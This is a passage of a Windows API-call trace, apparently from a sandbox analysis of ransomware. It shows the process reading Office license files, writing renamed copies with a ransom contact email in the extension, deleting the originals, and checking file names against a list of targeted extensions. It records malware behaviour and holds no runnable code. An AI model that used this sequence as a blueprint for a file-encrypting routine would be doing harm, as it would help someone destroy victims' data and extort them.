	[0176.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0176.021] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=11139) returned 1
	[0176.021] CloseHandle (hObject=0x4bc) returned 1
	[0176.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms")) returned 0x220
	[0176.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0176.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0176.022] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.022] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0176.023] GetLastError () returned 0x0
	[0176.023] ReadFile (in: hFile=0x4bc, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x2b83, lpOverlapped=0x0) returned 1
	[0176.039] WriteFile (in: hFile=0x36c, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x2b90, lpOverlapped=0x0) returned 1
	[0176.040] ReadFile (in: hFile=0x4bc, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.040] WriteFile (in: hFile=0x36c, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x100, lpOverlapped=0x0) returned 1
	[0176.040] SetEndOfFile (hFile=0x36c) returned 1
	[0176.040] CloseHandle (hObject=0x36c) returned 1
	[0176.041] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.041] SetEndOfFile (hFile=0x4bc) returned 1
	[0176.044] CloseHandle (hObject=0x4bc) returned 1
	[0176.044] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0176.045] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms")) returned 1
	[0176.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72
	[0176.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72
	[0176.045] lstrlenW (lpString=".doc") returned 4
	[0176.045] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0176.045] lstrlenW (lpString=".docx") returned 5
	[0176.045] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0176.045] lstrlenW (lpString=".pdf") returned 4
	[0176.046] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0176.046] lstrlenW (lpString=".xls") returned 4
	[0176.046] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0176.046] lstrlenW (lpString=".xlsx") returned 5
	[0176.046] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0176.046] lstrlenW (lpString=".ppt") returned 4
	[0176.046] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0176.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72
	[0176.046] lstrlenW (lpString=".zip") returned 4
	[0176.046] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0176.046] lstrlenW (lpString=".rar") returned 4
	[0176.046] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0176.046] lstrlenW (lpString=".bz2") returned 4
	[0176.046] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0176.046] lstrlenW (lpString=".7z") returned 3
	[0176.046] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0176.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72
	[0176.046] lstrlenW (lpString=".dbf") returned 4
	[0176.046] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0176.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72
	[0176.046] lstrlenW (lpString=".1cd") returned 4
	[0176.046] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0176.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72
	[0176.046] lstrlenW (lpString=".jpg") returned 4
	[0176.046] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0176.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72
	[0176.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72
	[0176.046] lstrlenW (lpString=".doc") returned 4
	[0176.046] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0176.046] lstrlenW (lpString=".docx") returned 5
	[0176.046] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0176.046] lstrlenW (lpString=".pdf") returned 4
	[0176.047] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0176.047] lstrlenW (lpString=".xls") returned 4
	[0176.047] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0176.047] lstrlenW (lpString=".xlsx") returned 5
	[0176.047] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0176.047] lstrlenW (lpString=".ppt") returned 4
	[0176.047] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0176.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72
	[0176.047] lstrlenW (lpString=".zip") returned 4
	[0176.047] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0176.047] lstrlenW (lpString=".rar") returned 4
	[0176.047] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0176.047] lstrlenW (lpString=".bz2") returned 4
	[0176.047] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0176.047] lstrlenW (lpString=".7z") returned 3
	[0176.047] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0176.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72
	[0176.047] lstrlenW (lpString=".dbf") returned 4
	[0176.047] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0176.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72
	[0176.047] lstrlenW (lpString=".1cd") returned 4
	[0176.047] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0176.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72
	[0176.047] lstrlenW (lpString=".jpg") returned 4
	[0176.047] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0176.047] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0176.048] lstrlenW (lpString="ExcelR_Trial-ul-oob.xrm-ms") returned 26
	[0176.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0176.485] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=11586) returned 1
	[0176.485] CloseHandle (hObject=0x4bc) returned 1
	[0176.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms")) returned 0x220
	[0176.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0177.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0177.136] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.136] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0177.138] GetLastError () returned 0x0
	[0177.138] ReadFile (in: hFile=0x37c, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x2d42, lpOverlapped=0x0) returned 1
	[0177.150] WriteFile (in: hFile=0x548, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x2d50, lpOverlapped=0x0) returned 1
	[0177.151] ReadFile (in: hFile=0x37c, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.151] WriteFile (in: hFile=0x548, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x108, lpOverlapped=0x0) returned 1
	[0177.152] SetEndOfFile (hFile=0x548) returned 1
	[0177.152] CloseHandle (hObject=0x548) returned 1
	[0177.152] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.152] SetEndOfFile (hFile=0x37c) returned 1
	[0177.161] CloseHandle (hObject=0x37c) returned 1
	[0177.161] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0177.164] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms")) returned 1
	[0177.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76
	[0177.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76
	[0177.171] lstrlenW (lpString=".doc") returned 4
	[0177.171] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0177.171] lstrlenW (lpString=".docx") returned 5
	[0177.171] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0177.171] lstrlenW (lpString=".pdf") returned 4
	[0177.171] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0177.171] lstrlenW (lpString=".xls") returned 4
	[0177.171] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0177.171] lstrlenW (lpString=".xlsx") returned 5
	[0177.171] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0177.171] lstrlenW (lpString=".ppt") returned 4
	[0177.171] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0177.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76
	[0177.171] lstrlenW (lpString=".zip") returned 4
	[0177.171] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0177.171] lstrlenW (lpString=".rar") returned 4
	[0177.171] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0177.171] lstrlenW (lpString=".bz2") returned 4
	[0177.171] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0177.171] lstrlenW (lpString=".7z") returned 3
	[0177.171] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0177.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76
	[0177.171] lstrlenW (lpString=".dbf") returned 4
	[0177.171] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0177.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76
	[0177.171] lstrlenW (lpString=".1cd") returned 4
	[0177.172] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0177.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76
	[0177.172] lstrlenW (lpString=".jpg") returned 4
	[0177.172] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0177.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76
	[0177.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76
	[0177.172] lstrlenW (lpString=".doc") returned 4
	[0177.172] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0177.172] lstrlenW (lpString=".docx") returned 5
	[0177.172] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0177.172] lstrlenW (lpString=".pdf") returned 4
	[0177.172] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0177.172] lstrlenW (lpString=".xls") returned 4
	[0177.172] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0177.172] lstrlenW (lpString=".xlsx") returned 5
	[0177.172] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0177.172] lstrlenW (lpString=".ppt") returned 4
	[0177.172] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0177.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76
	[0177.172] lstrlenW (lpString=".zip") returned 4
	[0177.172] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0177.172] lstrlenW (lpString=".rar") returned 4
	[0177.172] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0177.172] lstrlenW (lpString=".bz2") returned 4
	[0177.173] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0177.173] lstrlenW (lpString=".7z") returned 3
	[0177.173] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0177.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76
	[0177.173] lstrlenW (lpString=".dbf") returned 4
	[0177.173] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0177.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76
	[0177.173] lstrlenW (lpString=".1cd") returned 4
	[0177.173] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0177.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76
	[0177.173] lstrlenW (lpString=".jpg") returned 4
	[0177.173] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0177.173] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0177.173] lstrlenW (lpString="ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 32
	[0177.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0177.466] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=11609) returned 1
	[0177.466] CloseHandle (hObject=0x37c) returned 1
	[0177.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms")) returned 0x220
	[0177.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0177.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0177.775] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.776] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0178.145] GetLastError () returned 0x0
	[0178.145] ReadFile (in: hFile=0x4bc, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x2d59, lpOverlapped=0x0) returned 1
	[0178.147] WriteFile (in: hFile=0x37c, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x2d60, lpOverlapped=0x0) returned 1
	[0178.148] ReadFile (in: hFile=0x4bc, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.148] WriteFile (in: hFile=0x37c, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x114, lpOverlapped=0x0) returned 1
	[0178.149] SetEndOfFile (hFile=0x37c) returned 1
	[0178.149] CloseHandle (hObject=0x37c) returned 1
	[0178.149] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.149] SetEndOfFile (hFile=0x4bc) returned 1
	[0178.153] CloseHandle (hObject=0x4bc) returned 1
	[0178.153] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0178.153] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms")) returned 1
	[0178.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0178.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0178.155] lstrlenW (lpString=".doc") returned 4
	[0178.155] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0178.155] lstrlenW (lpString=".docx") returned 5
	[0178.155] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0178.155] lstrlenW (lpString=".pdf") returned 4
	[0178.155] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0178.155] lstrlenW (lpString=".xls") returned 4
	[0178.155] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0178.155] lstrlenW (lpString=".xlsx") returned 5
	[0178.155] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0178.155] lstrlenW (lpString=".ppt") returned 4
	[0178.155] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0178.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0178.155] lstrlenW (lpString=".zip") returned 4
	[0178.155] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0178.155] lstrlenW (lpString=".rar") returned 4
	[0178.156] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0178.156] lstrlenW (lpString=".bz2") returned 4
	[0178.156] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0178.156] lstrlenW (lpString=".7z") returned 3
	[0178.156] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0178.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0178.156] lstrlenW (lpString=".dbf") returned 4
	[0178.156] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0178.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0178.156] lstrlenW (lpString=".1cd") returned 4
	[0178.156] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0178.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0178.156] lstrlenW (lpString=".jpg") returned 4
	[0178.156] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0178.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0178.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0178.156] lstrlenW (lpString=".doc") returned 4
	[0178.156] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0178.156] lstrlenW (lpString=".docx") returned 5
	[0178.156] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0178.157] lstrlenW (lpString=".pdf") returned 4
	[0178.157] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0178.157] lstrlenW (lpString=".xls") returned 4
	[0178.157] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0178.157] lstrlenW (lpString=".xlsx") returned 5
	[0178.157] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0178.157] lstrlenW (lpString=".ppt") returned 4
	[0178.157] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0178.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0178.157] lstrlenW (lpString=".zip") returned 4
	[0178.157] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0178.157] lstrlenW (lpString=".rar") returned 4
	[0178.157] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0178.157] lstrlenW (lpString=".bz2") returned 4
	[0178.157] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0178.157] lstrlenW (lpString=".7z") returned 3
	[0178.157] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
